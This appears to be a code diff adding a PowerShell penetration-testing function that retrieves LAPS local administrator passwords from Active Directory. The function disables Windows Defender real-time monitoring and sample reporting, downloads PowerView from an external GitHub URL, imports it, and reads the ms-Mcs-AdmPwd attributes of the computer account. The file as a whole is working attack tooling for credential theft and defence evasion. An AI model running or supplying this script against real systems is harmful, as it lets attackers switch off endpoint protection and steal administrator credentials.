|
| 1 | +function Get-LapsLocalAdminPassword { |
| 2 | + <# |
| 3 | + .SYNOPSIS |
| 4 | + This script reads ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime attributes if user have all |
| 5 | + extended rights on computer account. |
| 6 | + .PARAMETER pUrl |
| 7 | + The parameter pUrl is used to define the URL of PowerView script. |
| 8 | + .PARAMETER disableDefender |
| 9 | + The parameter disableDefender is used to disable Windows Defender. |
| 10 | + .EXAMPLE |
| 11 | + PS C:\> Get-LocalAdminPassword -disableDefender |
| 12 | + .NOTES |
| 13 | + Windows Powershell should be run as domain user rights with local admin privileges. |
| 14 | + If you have Internet connection during penetration test,powerview url is following. |
| 15 | + https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 |
| 16 | + If running scripts is disabled on your system, execute following command firstly: |
| 17 | + Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser |
| 18 | + #> |
| 19 | + param ( |
| 20 | + [string]$pUrl = $(Read-Host -Prompt '[*] Url of Powerview.ps1 script '), |
| 21 | + [switch]$disableDefender |
| 22 | + ) |
| 23 | + begin { |
| 24 | + Write-Host " Obtaining ms-mcs-admpwd attribute value via MS-DS-Machine-Account-Quota" -ForegroundColor Green |
| 25 | + } |
| 26 | + process { |
| 27 | + $dPath = $env:USERPROFILE |
| 28 | + Write-Host "UserProfile: $dPath" -ForegroundColor Yellow |
| 29 | + $hName = $env:COMPUTERNAME |
| 30 | + Write-Host "Computername: $hName" -ForegroundColor Yellow |
| 31 | + Write-Host "[*] Windows Defender will be disabled for running PowerView.ps1 $disableDefender" |
| 32 | + if ($disableDefender) { |
| 33 | + Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable -ErrorAction Stop |
| 34 | + Invoke-WebRequest $pUrl -OutFile $dPath\Desktop\PowerView.ps1 -TimeoutSec 30 |
| 35 | + Import-Module -Name $dPath\Desktop\PowerView.ps1 |
| 36 | + $admPwd = Get-DomainComputer -Identity $hName | Select-Object -Property ms-mcs-* |
| 37 | + Write-Host "$admPwd" -ForegroundColor Green |
| 38 | + $eTime = Read-Host -Prompt '[*] String admpwd expirationtime' |
| 39 | + $expTime = cmd.exe /c "w32tm /ntte $eTime" |
| 40 | + Write-Host "$expTime" -ForegroundColor Green |
| 41 | + } else { |
| 42 | + Write-Host "[-] Cancelled!" -ForegroundColor Red |
| 43 | + } |
| 44 | + } |
| 45 | +} |
0 commit comments